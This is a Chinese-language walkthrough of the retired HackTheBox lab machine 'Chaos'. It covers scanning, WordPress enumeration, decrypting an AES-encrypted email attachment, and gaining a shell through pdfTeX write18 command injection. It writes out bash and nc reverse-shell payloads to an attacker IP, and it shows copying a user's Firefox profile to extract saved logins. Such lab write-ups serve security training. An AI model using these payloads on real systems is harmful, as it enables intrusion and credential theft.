大家好,我是大白,鉴于在强网杯中受到了打击,决定努力提升一下自己姿势水平,先去hackthebox刷一波退役靶机
首先是chaos,这个靶机之前还激活的时候打过,不过没有打下来,先照着官方给出的wp复现一下。
国际惯例,拿到靶机,跑一下端口,这里可以使用以下命令进行快速的全端口扫描:
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.120 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) //全端口扫描
nmap -sV -sC -T4 10.10.10.120 -p $ports //针对扫出的端口进行漏扫
|
得到80,110,143,993,995,10000等开放端口,也就是说靶机开放了web,邮件等服务,首先我们从80端口入手
访问80发现提示直连ip是不允许的,那么按照hackthebox的惯例,网站的域名为靶机名.htb,我们添加到/etc/hosts中
再次通过域名访问,得到以下网站
接下来对ip和域名都进行目录爆破,这里我们使用了工具gobuster,字典使用了directory-list-2.3-medium.txt。
./gobuster -u http://10.10.10.120 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100
|
使用域名的目录爆破中没有得到有用的信息,但是使用ip的目录爆破中发现了/wp目录,跟随跳转进入此页面
页面中存在一个密码保护的文本,那么我们接下来就是要找到这个密码,因为可以从url得知这个网站是使用wordpress构建的,那么我们先使用wpscan扫描一下
wpscan --url http://10.10.10.120/wp/wordpress -e
|
没有发现有用的漏洞,但是发现了一个用户 human
我们使用这个用户作为密码,成功拿到了保护的文本
文本提供了webmail的登陆凭证,让我们回到端口扫描看一下,webmail使用的服务是Dovecot服务,我们找一个可以连接该服务的客户端,这里使用了thunderbird,按照如下配置连接服务器
输入刚才得到的账号密码
成功登陆到邮件服务器,查看收件箱和已发邮件均为空,查看草稿箱发现了一封service邮件,邮件给出了两个附件,并给出提示“You are the password”,意思是使用python脚本对明文进行了加密。
脚本使用了AES算法对明文进行加密,并且将加密使用的IV放入了文件中,那么我们就可以从文件中获取到iv值,那么密钥key呢,邮件中提示“你就是密码”,那么我们使用给出的getKey()函数就可以得到加密使用的key值。
def encrypt(key, filename):
chunksize = 64*1024
outputFile = "en" + filename
filesize = str(os.path.getsize(filename)).zfill(16)
IV =Random.new().read(16)
encryptor = AES.new(key, AES.MODE_CBC, IV)
with open(filename, 'rb') as infile:
with open(outputFile, 'wb') as outfile:
outfile.write(filesize.encode('utf-8'))
outfile.write(IV)
while True:
chunk = infile.read(chunksize)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - (len(chunk) % 16))
outfile.write(encryptor.encrypt(chunk))
def getKey(password):
hasher = SHA256.new(password.encode('utf-8'))
return hasher.digest()
|
根据以上分析编写解密脚本,aes解密后得到base64编码,再使用base64解码得到明文文本如下
#coding: utf8
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
import base64
class mydecrypt():
def __init__(self, key, iv):
self.key = key
self.mode = AES.MODE_CBC
self.iv = iv
#解密后,去掉补足的空格用strip() 去掉
def decrypt(self, text):
cryptor = AES.new(self.key, self.mode, self.iv)
plain_text = cryptor.decrypt(text)
return plain_text.rstrip(b' ')
def getKey(password):
hasher = SHA256.new(password.encode('utf-8'))
return hasher.digest()
if __name__ == '__main__':
chunksize = 64*1024
with open('enim_msg.txt','rb') as infile:
with open('msg.txt','wb') as outfile:
filesize = infile.read(16)
iv = infile.read(16)
mydec = mydecrypt(getKey('sahay'),iv)
msg = b''
while True:
chunk = infile.read(chunksize)
if len(chunk) == 0:
break
msg += mydec.decrypt(chunk)
outfile.write(base64.b64decode(msg))
|
意思是搞了个创建pdf的服务,还搞了个这么变态url,好吧,那我们访问一下
随便输了几个字符点击生成pdf,根据返回包可以看出这个服务使用了pdfTeX构建,那我们搜索一下这个组件是否存在漏洞呢,答案是肯定的,根据国外大佬的文章,我们可以看到在开启write18的情况下,可以直接执行系统命令,ok,shell在向我招手
这里测试一下id命令的执行效果
那么我们可以利用bash直接反弹一个shell
\immediate\write18{bash -c 'sh -i &>/dev/tcp/10.10.14.3/7777 0>&1'}
|
也可以利用nc管道反弹shell
\immediate\write18{ rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 4444 >/tmp/f}
|
监听shell,然后使用python创建一个交互式的shell
然后使用webmail的凭证登陆ayush用户
当我们再次ls的时候,发现ls命令不见了,shell也给出了提示,ls命令所在的目录并没有在PATH环境变量里,导致系统找不到这个命令
那我们看一眼PATH里面有什么
我的妈耶,还真干净,既然如此,找一台正常的linux,echo $PATH获取环境变量,然后导入到当前环境里,ok,搞定。
User.txt flag get
那么我们还需要root权限。查看当前路径下发现一个文件夹比较有趣,”.mozilla”文件夹,是firefox浏览器的缓存文件夹,其中可能保存某些登陆凭证,那么我们把它拿下来研究一下。
使用zip和nc 打包下载安排上。
zip -r /tmp/firefox.zip ~/.mozilla/
|
Github中有项目可以在本地解析firefox的缓存文件,分析其中的登陆凭证。我们使用firefox_decrypt进行解析,输入的密码同样是我们登陆使用的凭证密码jiujitsu